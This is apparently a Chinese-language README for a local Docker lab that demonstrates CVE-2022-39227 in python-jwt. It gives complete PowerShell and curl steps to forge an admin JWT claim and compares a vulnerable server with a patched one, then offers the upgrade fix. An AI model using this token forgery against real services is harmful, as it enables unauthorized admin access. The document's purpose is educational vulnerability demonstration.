本项目在受控的本地实验室环境中演示 CVE-2022-39227 漏洞。该漏洞影响 python-jwt 库(版本 < 3.3.4),允许攻击者在不了解密钥的情况下,通过利用 python-jwt 与其依赖 jwcrypto 之间的解析不一致性(JWS 序列化)来伪造 JWT 声明。
该项目使用 Docker 启动两个相同的 Flask 应用程序,仅通过其依赖版本进行区分:
python-jwt==3.3.3)python-jwt==3.3.4)两个应用程序都实现了一个简单的基于角色的访问控制 (RBAC)。普通用户 (alice) 可以登录并获取 JWT。只有其 JWT 声明中具有 admin 角色的用户才能访问 /admin 端点。
1. 启动环境 确保 Docker Desktop 正在运行,然后执行:
docker-compose up -d --build
这将在后台同时启动存在漏洞的服务器和已修复的服务器。
为了重现攻击,您将手动在 PowerShell 中执行原始 HTTP 请求和负载操作。这表明漏洞存在于协议和库的解析逻辑中,而非外部工具。
步骤 1:登录并获取有效令牌
$response = Invoke-RestMethod -Uri "http://localhost:5000/login" -Method Post -Body '{"username":"alice","password":"alice123"}' -ContentType "application/json"
$token = $response.token
步骤 2:将 JWT 拆分为组件
$parts = $token.Split('.')
$header = $parts[0]
$payload = $parts[1]
$signature = $parts[2]
步骤 3:解码负载,修改角色,并重新编码为 Base64Url
# Decode original payload
$decodedPayload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($payload.PadRight($payload.Length + (4 - $payload.Length % 4) % 4, '=').Replace('-', '+').Replace('_', '/')))
# Change role from "user" to "admin"
$modPayload = $decodedPayload -replace '"role":"user"','"role":"admin"'
# Encode modified payload back to Base64Url
$modPayloadB64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($modPayload)).TrimEnd('=').Replace('+', '-').Replace('/', '_')
步骤 4:构造恶意 JWS 序列化格式
$forged_token = '{{"{0}.{1}":"","protected":"{0}","payload":"{2}","signature":"{3}"}}' `
-f $header, $modPayloadB64, $payload, $signature
$forged_token_escaped = $forged_token -replace '"', '\"'
步骤 5:对两个服务器执行攻击
# Attack Vulnerable Server (Port 5000) -> SUCCESS
curl.exe -s -X GET http://localhost:5000/admin -H "Authorization: Bearer $forged_token_escaped"
# Attack Fixed Server (Port 5001) -> BLOCKED (Invalid token format)
curl.exe -s -X GET http://localhost:5001/admin -H "Authorization: Bearer $forged_token_escaped"
将 python-jwt 升级到 3.3.4 或更高版本。此外,应用程序应执行严格的签名验证,并尽可能通过应用程序的逻辑层直接验证负载完整性。
本项目严格在受控的本地实验室环境中进行,仅供教育用途。未针对任何第三方系统、公共服务或真实用户帐户。